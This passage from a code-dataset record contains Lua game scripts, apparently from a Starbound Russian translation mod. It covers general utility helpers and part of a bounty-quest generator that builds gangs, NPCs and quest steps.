keepInSight = true end\n\n -- Lose track of the target if they hide (but their last position is retained)\n if self.targetId ~= nil and keepInSight and not entity.entityInSight(self.targetId) then\n self.targetId = nil\n end\n\n if self.targetId ~= nil then\n self.targetPosition = world.entityPosition(self.targetId)\n end\nend\n\n--------------------------------------------------------------------------------\nfunction util.randomDirection()\n return util.toDirection(math.random(0, 1) - 0.5)\nend\n\nfunction util.interval(interval, func, initialInterval)\n local time = initialInterval or interval\n return function(dt)\n time = time - dt\n if time <= 0 then\n time = time + interval\n func()\n end\n end\nend\n\nfunction util.uniqueEntityTracker(uniqueId, interval)\n return coroutine.wrap(function()\n while true do\n local promise = world.findUniqueEntity(uniqueId)\n while not promise:finished() do\n coroutine.yield(false)\n end\n coroutine.yield(promise:result())\n util.wait(interval or 0)\n end\n end)\nend\n\nfunction util.multipleEntityTracker(uniqueIds, interval, choiceCallback)\n choiceCallback = choiceCallback or util.nearestPosition\n\n local trackers = {}\n for _,uniqueId in pairs(uniqueIds) do\n table.insert(trackers, util.uniqueEntityTracker(uniqueId, interval))\n end\n\n return coroutine.wrap(function()\n local positions = {}\n while true do\n for i,tracker in pairs(trackers) do\n local position = tracker()\n if position then\n positions[i] = position\n end\n end\n\n local best = choiceCallback(util.toList(positions))\n coroutine.yield(best)\n end\n end)\nend\n\n--------------------------------------------------------------------------------\n-- Useful in coroutines to wait for the given duration, optionally performing\n-- some action each update\nfunction util.wait(duration, action)\n local timer = duration\n local dt = script.updateDt()\n while timer > 0 do\n if action ~= nil and action(dt) then return end\n timer = timer - dt\n coroutine.yield(false)\n end\nend\n\n-- version of util.wait that yields nil instead of false for when you don't\n-- want to yield false and instead want to yield nil\nfunction util.run(duration, action, ...)\n local wait = coroutine.create(util.wait)\n while true do\n local status, result = coroutine.resume(wait, duration, action)\n if result ~= false then break end\n coroutine.yield(nil, ...)\n end\nend\n\n--------------------------------------------------------------------------------\n-- Run coroutines or functions in parallel until at least one coroutine is dead\nfunction util.parallel(...)\n for _,thread in pairs({...}) do\n if type(thread) == \"function\" then\n thread()\n elseif type(thread) == \"thread\" then\n if coroutine.status(thread) == \"dead\" then\n return false\n end\n local status, result = coroutine.resume(thread)\n if not status then error(result) end\n end\n end\n\n return true\nend\n\n-- yields until a promise is finished\nfunction util.await(promise)\n while not promise:finished() do\n coroutine.yield()\n end\n return promise\nend\n\nfunction util.untilNotNil(func)\n local v\n while true do\n v = func()\n if v ~= nil then return v end\n coroutine.yield()\n end\nend\n\nfunction util.untilNotEmpty(func)\n local v\n while true do\n v = func()\n if v ~= nil and #v > 0 then return v end\n coroutine.yield()\n end\nend\n\n--------------------------------------------------------------------------------\nfunction util.hashString(str)\n -- FNV-1a algorithm. Simple and fast.\n local hash = 2166136261\n for i = 1, #str do\n hash = hash ~ str:byte(i)\n hash = (hash * 16777619) & 0xffffffff\n end\n return hash\nend\n\n--------------------------------------------------------------------------------\nfunction util.isTimeInRange(time, range)\n if range[1] < range[2] then\n return time >= range[1] and time <= range[2]\n else\n return time >= range[1] or time <= range[2]\n end\nend\n\n--------------------------------------------------------------------------------\n--get the firing angle to hit a target offset with a ballistic projectile\nfunction util.aimVector(targetVector, v, gravityMultiplier, useHighArc)\n local x = targetVector[1]\n local y = targetVector[2]\n local g = gravityMultiplier * world.gravity(mcontroller.position())\n local reverseGravity = false\n if g < 0 then\n reverseGravity = true\n g = -g\n y = -y\n end\n\n local term1 = v^4 - (g * ((g * x * x) + (2 * y * v * v)))\n\n if term1 >= 0 then\n local term2 = math.sqrt(term1)\n local divisor = g * x\n local aimAngle = 0\n\n if divisor ~= 0 then\n if useHighArc then\n aimAngle = math.atan(v * v + term2, divisor)\n else\n aimAngle = math.atan(v * v - term2, divisor)\n end\n end\n\n if reverseGravity then\n aimAngle = -aimAngle\n end\n\n return {v * math.cos(aimAngle), v * math.sin(aimAngle)}, true\n else\n --if out of range, normalize to 45 degree angle\n return {(targetVector[1] > 0 and v or -v) * math.cos(math.pi / 4), v * math.sin(math.pi / 4)}, false\n end\nend\n\nfunction util.predictedPosition(target, source, targetVelocity, projectileSpeed)\n local targetVector = world.distance(target, source)\n local bs = projectileSpeed\n local dotVectorVel = vec2.dot(targetVector, targetVelocity)\n local vector2 = vec2.dot(targetVector, targetVector)\n local vel2 = vec2.dot(targetVelocity, targetVelocity)\n\n --If the answer is a complex number, for the love of god don't continue\n if ((2*dotVectorVel) * (2*dotVectorVel)) - (4 * (vel2 - bs * bs) * vector2) < 0 then\n return target\n end\n\n local timesToHit = {} --Gets two values from solving quadratic equation\n --Quadratic formula up in dis\n timesToHit[1] = (-2 * dotVectorVel + math.sqrt((2*dotVectorVel) * (2*dotVectorVel) - 4*(vel2 - bs * bs) * vector2)) / (2 * (vel2 - bs * bs))\n timesToHit[2] = (-2 * dotVectorVel - math.sqrt((2*dotVectorVel) * (2*dotVectorVel) - 4*(vel2 - bs * bs) * vector2)) / (2 * (vel2 - bs * bs))\n\n --Find the nearest lowest positive solution\n local timeToHit = 0\n if timesToHit[1] > 0 and (timesToHit[1] <= timesToHit[2] or timesToHit[2] < 0) then timeToHit = timesToHit[1] end\n if timesToHit[2] > 0 and (timesToHit[2] <= timesToHit[1] or timesToHit[1] < 0) then timeToHit = timesToHit[2] end\n\n local predictedPos = vec2.add(target, vec2.mul(targetVelocity, timeToHit))\n return predictedPos\nend\n\nfunction util.randomChoice(options)\n return options[math.random(#options)]\nend\n\nfunction util.weightedRandom(options, seed)\n local totalWeight = 0\n for _,pair in ipairs(options) do\n totalWeight = totalWeight + pair[1]\n end\n\n local choice = (seed and sb.staticRandomDouble(seed) or math.random()) * totalWeight\n for _,pair in ipairs(options) do\n choice = choice - pair[1]\n if choice < 0 then\n return pair[2]\n end\n end\n return nil\nend\n\nfunction generateSeed()\n return sb.makeRandomSource():randu64()\nend\n\nfunction applyDefaults(args, defaults)\n for k,v in pairs(args) do\n defaults[k] = v\n end\n return defaults\nend\n\nfunction extend(base)\n return {\n __index = base\n }\nend\n\n--------------------------------------------------------------------------------\nfunction util.absolutePath(directory, path)\n if string.sub(path, 1, 1) == \"/\" then\n return path\n else\n return directory..path\n end\nend\n\nfunction util.pathDirectory(path)\n local parts = util.split(path, \"/\")\n local directory = \"/\"\n for i=1, #parts-1 do\n if parts[i] ~= \"\" then\n directory = directory..parts[i]..\"/\"\n end\n end\n return directory\nend\n\nfunction util.split(str, sep)\n local parts = {}\n repeat\n local s, e = string.find(str, sep, 1, true)\n if s == nil then break end\n\n table.insert(parts, string.sub(str, 1, s-1))\n str = string.sub(str, e+1)\n until string.find(str, sep, 1, true) == nil\n table.insert(parts, str)\n return parts\nend\n\n--------------------------------------------------------------------------------\n-- TODO: distinguish between arrays and objects to match JSON merging behavior\nfunction util.mergeTable(t1, t2)\n for k, v in pairs(t2) do\n if type(v) == \"table\" and type(t1[k]) == \"table\" then\n util.mergeTable(t1[k] or {}, v)\n else\n t1[k] = v\n end\n end\n return t1\nend\n\n--------------------------------------------------------------------------------\nfunction util.toRadians(degrees)\n return (degrees / 180) * math.pi\nend\n\nfunction util.toDegrees(radians)\n return (radians * 180) / math.pi\nend\n\nfunction util.sum(values)\n local sum = 0\n for _,v in pairs(values) do\n sum = sum + v\n end\n return sum\nend\n--------------------------------------------------------------------------------\nfunction util.easeInOutQuad(ratio, initial, delta)\n ratio = ratio * 2\n if ratio < 1 then\n return delta / 2 * ratio^2 + initial\n else\n return -delta / 2 * ((ratio - 1) * (ratio - 3) - 1) + initial\n end\nend\n\nfunction util.easeInOutSin(ratio, initial, delta)\n local ratio = ratio * 2\n if ratio < 1 then\n return initial + (math.sin((ratio * math.pi / 2) - (math.pi / 2)) + 1.0) * delta / 2\n else\n return initial + (delta / 2) + (math.sin((ratio - 1) * math.pi / 2) * delta / 2)\n end\nend\n\nfunction util.easeInOutExp(ratio, initial, delta, exp)\n ratio = ratio * 2\n if ratio < 1 then\n return delta / 2 * (ratio ^ exp) + initial\n else\n local r = 1 - (1 - (ratio - 1)) ^ exp\n return initial + (delta / 2) + (r * delta / 2)\n end\nend\n\nfunction util.lerp(ratio, a, b)\n if type(a) == \"table\" then\n a, b = a[1], a[2]\n end\n\n return a + (b - a) * ratio\nend\n\nfunction util.interpolateHalfSigmoid(offset, value1, value2)\n local sigmoidFactor = (util.sigmoid(6 * offset) - 0.5) * 2\n return util.lerp(sigmoidFactor, value1, value2)\nend\n\nfunction util.interpolateSigmoid(offset, value1, value2)\n local sigmoidFactor = util.sigmoid(12 * (offset - 0.5))\n return util.lerp(sigmoidFactor, value1, value2)\nend\n\nfunction util.sigmoid(value)\n return 1 / (1 + math.exp(-value));\nend\n\n-- Debug functions\nfunction util.setDebug(debug)\n self.debug = debug\nend\nfunction util.debugPoint(...) return self.debug and world.debugPoint(...) end\nfunction util.debugLine(...) return self.debug and world.debugLine(...) end\nfunction util.debugText(...) return self.debug and world.debugText(...) end\nfunction util.debugLog(...) return self.debug and sb.logInfo(...) end\nfunction util.debugRect(rect, color)\n if self.debug then\n world.debugLine({rect[1], rect[2]}, {rect[3], rect[2]}, color)\n world.debugLine({rect[3], rect[2]}, {rect[3], rect[4]}, color)\n world.debugLine({rect[3], rect[4]}, {rect[1], rect[4]}, color)\n world.debugLine({rect[1], rect[4]}, {rect[1], rect[2]}, color)\n end\nend\nfunction util.debugPoly(poly, color)\n if self.debug then\n local current = poly[1]\n for i = 2, #poly do\n world.debugLine(current, poly[i], color)\n current = poly[i]\n end\n world.debugLine(current, poly[1], color)\n end\nend\nfunction util.debugCircle(center, radius, color, sections)\n if self.debug then\n sections = sections or 20\n for i = 1, sections do\n local startAngle = math.pi * 2 / sections * (i-1)\n local endAngle = math.pi * 2 / sections * i\n local startLine = vec2.add(center, {radius * math.cos(startAngle), radius * math.sin(startAngle)})\n local endLine = vec2.add(center, {radius * math.cos(endAngle), radius * math.sin(endAngle)})\n world.debugLine(startLine, endLine, color)\n end\n end\nend\n\n-- Config and randomization helpers\nfunction util.randomInRange(numberRange)\n if type(numberRange) == \"table\" then\n return numberRange[1] + (math.random() * (numberRange[2] - numberRange[1]))\n else\n return numberRange\n end\nend\n\nfunction util.randomIntInRange(numberRange)\n if type(numberRange) == \"table\" then\n return math.random(numberRange[1], numberRange[2])\n else\n return numberRange\n end\nend\n\nfunction util.randomFromList(list, randomSource)\n if type(list) == \"table\" then\n if randomSource then\n return list[randomSource:randInt(1, #list)]\n else\n return list[math.random(1,#list)]\n end\n else\n return list\n end\nend\n\nfunction util.mergeLists(first, second)\n local merged = copy(first)\n for _,item in pairs(second) do\n table.insert(merged, item)\n end\n return merged\nend\n\nfunction util.appendLists(first, second)\n for _,item in ipairs(second) do\n table.insert(first, item)\n end\nend\n\nfunction util.tableKeys(tbl)\n local keys = {}\n for key,_ in pairs(tbl) do\n keys[#keys+1] = key\n end\n return keys\nend\n\nfunction util.tableValues(tbl)\n local values = {}\n for _,value in pairs(tbl) do\n values[#values+1] = value\n end\n return values\nend\n\nfunction util.tableSize(tbl)\n local size = 0\n for _,_ in pairs(tbl) do\n size = size + 1\n end\n return size\nend\n\nfunction util.tableWrap(tbl, i)\n return tbl[util.wrap(i, 1, #tbl)]\nend\n\nfunction util.tableToString(tbl)\n local contents = {}\n for k,v in pairs(tbl) do\n local kstr = tostring(k)\n local vstr = tostring(v)\n if type(v) == \"table\" and (not getmetatable(v) or not getmetatable(v).__tostring) then\n vstr = util.tableToString(v)\n end\n contents[#contents+1] = kstr..\" = \"..vstr\n end\n return \"{ \" .. table.concat(contents, \", \") .. \" }\"\nend\n\nfunction util.stringTags(str)\n local tags = {}\n local tagStart, tagEnd = str:find(\"<.->\")\n while tagStart do\n table.insert(tags, str:sub(tagStart+1, tagEnd-1))\n tagStart, tagEnd = str:find(\"<.->\", tagEnd+1)\n end\n return tags\nend\n\nfunction util.replaceTag(data, tagName, tagValue)\n local tagString = \"<\"..tagName..\">\"\n if type(data) == \"table\" then\n local newData = {}\n\n for k, v in pairs(data) do\n local newKey = k\n if type(k) == \"string\" and k:find(tagString) then\n newKey = k:gsub(tagString, tagValue)\n end\n\n newData[newKey] = util.replaceTag(v, tagName, tagValue)\n end\n\n return newData\n elseif type(data) == \"string\" and data:find(tagString) then\n return data:gsub(tagString, tagValue)\n else\n return data\n end\nend\n\nfunction util.generateTextTags(t)\n local tags = {}\n for k,v in pairs(t) do\n if type(v) == \"table\" then\n for tagName,tag in pairs(util.generateTextTags(v)) do\n tags[k..\".\"..tagName] = tag\n end\n else\n tags[k] = v\n end\n end\n return tags\nend\n\nfunction util.recReplaceTags(v, tags)\n if type(v) == \"table\" then\n for k, v2 in pairs(v) do\n v[k] = util.recReplaceTags(v2, tags)\n end\n return v\n elseif type(v) == \"string\" then\n return v:gsub(\"<([%w.]+)>\", tags)\n else\n return v\n end\nend\n\nfunction util.seedTime()\n return math.floor((os.time() + (os.clock() % 1)) * 1000)\nend\n\n--Table helpers\nfunction copy(v)\n if type(v) ~= \"table\" then\n return v\n else\n local c = {}\n for k,v in pairs(v) do\n c[k] = copy(v)\n end\n setmetatable(c, getmetatable(v))\n return c\n end\nend\n\nfunction copyArray(t)\n local array = jarray()\n for i,v in ipairs(t) do\n table.insert(array, copy(v))\n end\n return array\nend\n\nfunction compare(t1,t2)\n if t1 == t2 then return true end\n if type(t1) ~= type(t2) then return false end\n if type(t1) ~= \"table\" then return false end\n for k,v in pairs(t1) do\n if not compare(v, t2[k]) then return false end\n end\n for k,v in pairs(t2) do\n if not compare(v, t1[k]) then return false end\n end\n return true\nend\n\nfunction contains(t, v1)\n for i,v2 in ipairs(t) do\n if compare(v1, v2) then\n return i\n end\n end\n return false\nend\n\nfunction construct(t, ...)\n for _,child in ipairs({...}) do\n t[child] = t[child] or {}\n t = t[child]\n end\nend\n\nfunction path(t, ...)\n for _,child in ipairs({...}) do\n if t[child] == nil then return nil end\n t = t[child]\n end\n return t\nend\n\nfunction jsonPath(t, pathString)\n return path(t, table.unpack(util.split(pathString, \".\")))\nend\n\nfunction setPath(t, ...)\n local args = {...}\n sb.logInfo(\"args are %s\", args)\n if #args < 2 then return end\n\n for i,child in ipairs(args) do\n if i == #args - 1 then\n t[child] = args[#args]\n return\n else\n t[child] = t[child] or {}\n t = t[child]\n end\n end\nend\n\nfunction jsonSetPath(t, pathString, value)\n local argList = util.split(pathString, \".\")\n table.insert(argList, value)\n setPath(t, table.unpack(argList))\nend\n\nfunction shuffle(list)\n -- Fisher-Yates shuffle\n if #list < 2 then return end\n for i = #list, 2, -1 do\n local j = math.random(i)\n local tmp = list[j]\n list[j] = list[i]\n list[i] = tmp\n end\nend\n\nfunction shallowCopy(list)\n local result = setmetatable({}, getmetatable(list))\n for k,v in pairs(list) do\n result[k] = v\n end\n return result\nend\n\nfunction shuffled(list)\n local result = shallowCopy(list)\n shuffle(result)\n return result\nend\n\nfunction isEmpty(tbl)\n for _,_ in pairs(tbl) do\n return false\n end\n return true\nend\n\nfunction xor(a,b)\n -- Logical xor\n return (a and not b) or (not a and b)\nend\n\nfunction bind(fun, ...)\n local boundArgs = {...}\n return function(...)\n local args = {}\n util.appendLists(args, boundArgs)\n util.appendLists(args, {...})\n return fun(table.unpack(args))\n end\nend\n\nfunction util.wrapFunction(fun, wrapper)\n return function (...)\n return wrapper(fun, ...)\n end\nend\n\n-- The very most basic state machine\n-- Allows setting a single coroutine as an active state\nFSM = {}\nfunction FSM:new()\n local instance = {}\n setmetatable(instance, { __index = self })\n return instance\nend\n\nfunction FSM:set(state, ...)\n if state == nil then\n self.state = nil\n return\n end\n self.state = coroutine.create(state)\n self:resume(...)\nend\n\nfunction FSM:resume(...)\n local s, r = coroutine.resume(self.state, ...)\n if not s then error(r) end\n return r\nend\n\nfunction FSM:update(dt)\n if self.state then\n return self:resume()\n end\nend\n\n-- Very basic and probably not that reliable profiler\nProfiler = {}\nfunction Profiler:new()\n local instance = {\n totals = {},\n timers = {},\n ticks = 0\n }\n setmetatable(instance, { __index = self })\n return instance\nend\n\nfunction Profiler:start(key)\n self.timers[key] = os.clock()\nend\n\nfunction Profiler:stop(key)\n if not self.totals[key] then\n self.totals[key] = 0\n end\n if self.timers[key] then\n self.totals[key] = self.totals[key] + (os.clock() - self.timers[key])\n self.timers[key] = nil\n end\nend\n\nfunction Profiler:tick()\n self.ticks = self.ticks + 1\nend\n\nfunction Profiler:dump()\n local profiles = util.keys(self.totals)\n table.sort(profiles, function(a,b) return self.totals[a] > self.totals[b] end)\n sb.logInfo(\"-- PROFILE --\")\n for _,profile in ipairs(profiles) do\n sb.logInfo(\"[%s] %s\", profile, self.totals[profile])\n end\n sb.logInfo(\"-- END --\")\nend\n\n\n-- ControlMap\n-- Simple helper for activating named values and clearing them\n-- I.e damage sources, physics regions etc\nControlMap = {}\nfunction ControlMap:new(controlValues)\n local instance = {\n controlValues = controlValues,\n activeValues = {}\n }\n setmetatable(instance, { __index = self })\n return instance\nend\n\nfunction ControlMap:contains(name)\n return self.controlValues[name] ~= nil\nend\n\nfunction ControlMap:clear()\n self.activeValues = {}\nend\n\nfunction ControlMap:setActive(name)\n self.activeValues[name] = copy(self.controlValues[name])\nend\n\nfunction ControlMap:add(value)\n table.insert(self.activeValues, value)\nend\n\nfunction ControlMap:values()\n return util.toList(self.activeValues)\nend\n" }, { "alpha_fraction": 0.626473605632782, "alphanum_fraction": 0.6295957565307617, "avg_line_length": 31.196706771850586, "blob_id": "b6ccc911989b1914b079903d42fae264c27fc39d", "content_id": "a785804ac90ab82560297e213d98023056a81ce1", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Lua", "length_bytes": 37262, "license_type": "permissive", "max_line_length": 187, "num_lines": 1154, "path": "/translations/others/scripts/bountygeneration.lua", "repo_name": "SBT-community/Starbound_RU", "src_encoding": "UTF-8", "text": "require \"/interface/cockpit/cockpitutil.lua\"\nrequire \"/scripts/rect.lua\"\nrequire \"/scripts/util.lua\"\nrequire \"/scripts/quest/text_generation.lua\"\n\nfunction findAssignmentArea(fromPosition, systemTypes, rand)\n local maxSize = root.assetJson(\"/quests/bounty/generator.config:assignmentMaxSize\")\n local bountyData = player.getProperty(\"bountyData\") or {}\n bountyData = bountyData[player.serverUuid()] or {}\n local assignmentLog = bountyData.assignmentLog or {}\n rand = rand or sb.makeRandomSource()\n\n local worlds, systems\n local distance = 0\n local startAngle = rand:randf() * math.pi * 2\n local angleStep = math.pi * 2 / 8\n while true do\n local dir = math.random() > 0.5 and 1 or -1\n for i = 0, 7 do\n if distance > 0 or i == 0 then\n local newPosition = vec2.add(fromPosition, vec2.withAngle(startAngle + (i * dir * angleStep), distance))\n worlds, systems = findWorlds(newPosition, systemTypes, maxSize)\n\n if worlds ~= nil then\n local previouslyAssigned = false\n for _, s in ipairs(systems) do\n if contains(assignmentLog, s) then\n previouslyAssigned = true\n end\n end\n if not previouslyAssigned then\n local avgPos = vec2.div(util.fold(util.map(systems, systemPosition), {0, 0}, vec2.add), #systems)\n table.sort(systems, function(a, b)\n return vec2.mag(vec2.sub(systemPosition(a), avgPos)) < vec2.mag(vec2.sub(systemPosition(b), avgPos))\n end)\n return systems[1], worlds, systems\n end\n end\n end\n end\n\n distance = maxSize\n fromPosition = vec2.add(fromPosition, vec2.withAngle(startAngle, distance))\n coroutine.yield()\n end\nend\n\nfunction findWorlds(startPosition, systemTypes, maxSize)\n local position = startPosition\n local config = root.assetJson(\"/quests/bounty/generator.config\")\n local minWorlds, minSystems, excludePlanets = config.assignmentMinWorlds, config.assignmentMinSystems, config.excludePlanetTypes\n\n minCount = minCount or 1\n maxSize = maxSize or 100\n local size = {10, 10}\n local region = rect.withCenter(position, size)\n\n local systems = {}\n local worlds = {}\n local maybeAddWorld = function(w)\n local parameters = celestialWrap.planetParameters(w)\n if parameters.worldType ~= \"Terrestrial\" then\n return\n end\n local visitable = celestialWrap.visitableParameters(w)\n if visitable and not contains(excludePlanets, visitable.typeName) then\n table.insert(worlds, w)\n end\n end\n\n while #worlds < minWorlds or #systems < minSystems do\n if size[1] > maxSize then\n sb.logInfo(\"%s worlds, %s systems, found at %s\", #worlds, #systems, position)\n return nil, systems\n end\n\n systems = celestialWrap.scanSystems(region, systemTypes)\n worlds = {}\n for _,s in ipairs(systems) do\n for _, planet in ipairs(celestialWrap.children(s)) do\n maybeAddWorld(planet)\n for _, moon in ipairs(celestialWrap.children(planet)) do\n maybeAddWorld(moon)\n end\n end\n end\n size = vec2.mul(size, math.sqrt(2))\n if #systems > 0 and not compare(position, startPosition) then\n position = systemPosition(systems[1])\n sb.logInfo(\"Look around star at %s\", position)\n end\n region = rect.withCenter(position, size)\n end\n\n return worlds, systems\nend\n\nfunction generateGang(seed)\n local rand = sb.makeRandomSource(seed)\n local gangConfig = root.assetJson(\"/quests/bounty/gang.config\")\n\n -- collect a map of hats, and their supported name segments\n local hats = {}\n for k, _ in pairs(gangConfig.hatPrefix) do\n hats[k] = {\"prefix\"}\n end\n for k, _ in pairs(gangConfig.hatMid) do\n hats[k] = util.mergeLists(hats[k] or {}, {\"mid\"})\n end\n\n -- pick a hat\n local hatName = util.randomFromList(util.orderedKeys(hats), rand)\n local hatSegment = util.randomFromList(hats[hatName], rand)\n\n local prefixList = hatSegment == \"prefix\" and gangConfig.hatPrefix[hatName] or gangConfig.genericPrefix\n local midList = hatSegment == \"mid\" and gangConfig.hatMid[hatName] or gangConfig.genericMid\n\n local prefix = util.randomFromList(prefixList, rand)\n local mid = util.randomFromList(midList, rand)\n local suffix = util.randomFromList(gangConfig.suffix, rand)\n\n local majorColor, capstoneColor = math.random(1, 11), math.random(1, 11)\n while capstoneColor == majorColor do\n capstoneColor = math.random(1, 11)\n end\n -- Format suffix Совет <prefix> <mid:2>\n -- Format prefix Проклятых\n -- Format mid Волшебник<1:и|2:ов>\n -- Result first: Совет Проклятых <mid:2>\n -- Result second: Совет Проклятых Волшебник<1:и|2:ов><2>\n -- Result third: Совет Проклятых Волшебников\n local name = suffix:gsub(\"<prefix>\", prefix):gsub(\"<mid:([0-9a-z]+)>\", mid..\"<%1>\")\n :gsub(\"<.*([0-9a-z]+):([^|>]*).*<%1>\", \"%2\")\n return {\n name = name,\n hat = hatName,\n majorColor = majorColor,\n capstoneColor = capstoneColor,\n }\nend\n\nBountyGenerator = {}\n\nfunction BountyGenerator.new(...)\n local instance = {}\n\n setmetatable(instance, {__index = BountyGenerator})\n instance:init(...)\n return instance\nend\n\nfunction BountyGenerator:init(seed, position, systemTypes, categories, endStepName)\n self.seed = seed\n self.rand = sb.makeRandomSource(seed)\n self.position = position\n self.stepCount = {4, 4}\n self.systemTypes = systemTypes\n self.config = root.assetJson(\"/quests/bounty/generator.config\")\n self.clueItems = root.assetJson(\"/quests/bounty/clue_items.config\")\n self.clueScans = root.assetJson(\"/quests/bounty/clue_scans.config\")\n self.categories = categories or self.config.categories\n self.endStep = endStepName\n\n self.rewards = {\n money = 0,\n rank = 0,\n credits = 0\n }\nend\n\nfunction BountyGenerator:generateBountyMonster()\n local bountyConfig = root.assetJson(\"/quests/bounty/bounty_monsters.config\")\n\n local monsterSeed = self.rand:randu64()\n local monsterType = util.randomFromList(util.keys(bountyConfig.monsters), self.rand)\n local monsterConfig = bountyConfig.monsters[monsterType]\n local name = root.generateName(bountyConfig.nameSource, monsterSeed)\n\n return {\n type = \"monster\",\n name = name,\n monster = {\n monsterType = monsterType,\n parameters = {\n shortdescription = name\n }\n },\n portraitCenter = monsterConfig.portraitCenter,\n portraitScale = monsterConfig.portraitScale\n }\nend\n\nfunction BountyGenerator:generateBountyNpc(gang, colorIndex, withTitle)\n local bountyConfig = root.assetJson(\"/quests/bounty/bounty.config\")\n local npcConfig = bountyConfig.npc\n local speciesPool = npcConfig.species\n if gang and gang.species then\n speciesPool = gang.species\n end\n local species = util.randomFromList(speciesPool, self.rand)\n\n local npcSeed = self.rand:randu64()\n local npcVariant = root.npcVariant(species, npcConfig.typeName, 1.0, npcSeed, npcConfig.parameters)\n\n local nameGen = root.assetJson(string.format(\"/species/%s.species:nameGen\", species))\n local gender = npcVariant.humanoidIdentity.gender\n local name = root.generateName(gender == \"male\" and nameGen[1] or nameGen[2], npcSeed)\n\n if withTitle then\n if self.rand:randf() < 0.5 then\n -- name prefix\n name = string.format(\"%s%s\", util.randomFromList(bountyConfig.prefix, self.rand), name)\n else\n -- name suffix\n name = string.format(\"%s%s\", name, util.randomFromList(bountyConfig.suffix, self.rand))\n end\n end\n\n local modifierNames = util.orderedKeys(bountyConfig.behaviorModifiers)\n local behaviorModifier = bountyConfig.behaviorModifiers[util.randomFromList(modifierNames, self.rand)]\n\n if gang then\n -- copy in gang parameters used in the NPC\n gang = {\n name = gang.name,\n hat = gang.hat,\n colorIndex = colorIndex,\n }\n end\n local bounty = {\n type = \"npc\",\n name = name,\n species = species,\n typeName = npcConfig.typeName,\n seed = npcSeed,\n gang = gang,\n parameters = sb.jsonMerge(npcConfig.parameters, {\n identity = {\n gender = gender,\n name = name\n },\n scriptConfig = {\n gang = gang\n }\n }),\n behaviorOverrides = behaviorModifier\n }\n return bounty\nend\n\nfunction BountyGenerator:generateGangMember(gang)\n local species = util.randomFromList(gang.species or {\"human\", \"hylotl\", \"avian\", \"glitch\", \"novakid\", \"apex\", \"floran\"}, self.rand)\n if gang then\n gang = {\n name = gang.name,\n hat = gang.hat\n }\n end\n local bounty = {\n type = \"npc\",\n species = species,\n typeName = \"gangmember\",\n gang = gang,\n parameters = {\n scriptConfig = {\n gang = gang\n }\n }\n }\n return bounty\nend\n\nfunction BountyGenerator:pickEdge(fromStep, toStep, toClueType, questId, previousSteps)\n local options\n if toStep then\n options = util.filter(self.config.edges, function(edge)\n return edge.next.step == toStep\n end)\n\n if fromStep and fromStep.clueType then\n -- If there are no existing edges to fulfill this edge, insert an\n -- edge from fromStep to toStep\n local existing = util.find(options, function(e)\n return e.prev.clueType == fromStep.clueType\n and (fromStep.step == nil or e.prev.step == fromStep.step)\n and e.next.step == toStep\n and (toClueType == nil or e.next.clueType == toClueType)\n and e.mid == nil\n end)\n if existing == nil then\n table.insert(options, {\n source = \"fromStep\",\n prev = {\n step = fromStep.step,\n clueType = fromStep.clueType\n },\n next = {\n step = toStep,\n clueType = toClueType\n }\n })\n end\n end\n\n -- generate options for edges with no prev step defined\n -- this requires that they have a clue type defined for the prev step\n -- Don't generate options for edges that have a mid step, they will have their prev step generated later\n -- when picking the prev->mid edge\n local generated = {}\n for _,o in ipairs(options) do\n if not o.mid and not o.prev.step then\n if not o.prev.clueType then\n error(string.format(\"Edge with target step '%s' and no previous step must have a clueType\", o.next.step))\n end\n\n -- Gather potential steps to use that can produce the clue\n local stepNames = util.filter(util.orderedKeys(self.config.steps), function(stepName)\n local step = self.config.steps[stepName]\n if step.clueTypes and contains(step.clueTypes, o.prev.clueType) then\n return true\n end\n return false\n end)\n local generatedSteps = util.map(stepNames, function(stepName)\n return {\n source = \"stepClueType\",\n prev = {\n step = stepName\n }\n }\n end)\n\n -- Also get potential steps to use from existing edges\n util.appendLists(generatedSteps, util.map(util.filter(self.config.edges, function(e)\n if e.mid then\n return false\n end\n if e.next.step == nil or e.next.clueType ~= o.prev.clueType then\n return false\n end\n return true\n end), function(e)\n return {\n source = \"fromEdge\",\n weight = e.weight,\n prev = e.next\n }\n end))\n if #generatedSteps == 0 then\n error(string.format(\"No steps found for clue type '%s'\", o.prev.clueType))\n end\n for _,step in ipairs(generatedSteps) do\n local newOption = sb.jsonMerge(copy(o), step)\n newOption.weight = newOption.weight or self.config.steps[step.prev.step].weight\n table.insert(generated, newOption)\n end\n end\n end\n\n -- remove the options without specified steps, except ones that also have a mid step\n -- those with a mid step are still valid as the prev step is picked later\n options = util.filter(options, function(o)\n return o.prev.step ~= nil or o.mid ~= nil\n end)\n\n -- add in the options with generated steps\n options = util.mergeLists(options, generated)\n \n -- filter options by whether they support bridging to the required clue type\n if toClueType then\n options = util.filter(options, function(edge)\n local clueType = edge.next.clueType\n if not clueType then\n local clueTypes = self.config.steps[edge.next.step].clueTypes\n return contains(clueTypes, toClueType)\n end\n return edge.next.clueType == toClueType\n end)\n end\n\n if fromStep then\n options = util.filter(options, function(edge)\n return edge.mid == nil\n end)\n if fromStep.step then\n options = util.filter(options, function(edge)\n return edge.prev.step == fromStep.step\n end)\n end\n if fromStep.clueType then\n options = util.filter(options, function(edge)\n return edge.prev.clueType == fromStep.clueType\n end)\n end\n end\n elseif self.endStep then\n options = {\n {\n prev = {\n step = self.endStep\n },\n\n next = nil\n }\n }\n else\n options = util.map(self.config.ends, function(step)\n return {\n prev = {\n step = step\n },\n\n next = nil\n }\n end)\n end\n\n -- filter edges by allowed step categories\n options = util.filter(options, function(o)\n if o.prev and not o.mid then\n if not contains(self.categories, self.config.steps[o.prev.step].category) then\n return false\n end\n end\n\n if o.next then\n if not contains(self.categories, self.config.steps[o.next.step].category) then\n return false\n end\n end\n\n return true\n end)\n\n if #options == 0 then\n error(string.format(\"No options available for finding edge from '%s' to '%s'. Clue type: '%s'\", fromStep and (fromStep.step or fromStep.clueType), toStep or self.endStep, toClueType))\n end\n\n --sb.logInfo(\"Options: %s\", sb.printJson(options, 1))\n\n -- make a weighted pool of the options\n options = util.map(options, function(o)\n local weight = o.weight\n if weight == nil and o.prev.step then\n -- if edge is not weighted, use the weight of the prev step, if any\n weight = self.config.steps[o.prev.step].weight\n end\n weight = weight or 1.0\n\n -- reduce weight each time the step has appeared in previous steps\n for _,p in pairs(previousSteps) do\n if o.prev.step == p.name then\n weight = weight * 0.1\n end\n end\n return {weight, o}\n end)\n local option = util.weightedRandom(options, self.rand:randu64())\n option.prev.questId = questId or sb.makeUuid()\n\n return option\nend\n\nfunction BountyGenerator:generateStepsTo(toStep, fromStep, previousSteps)\n 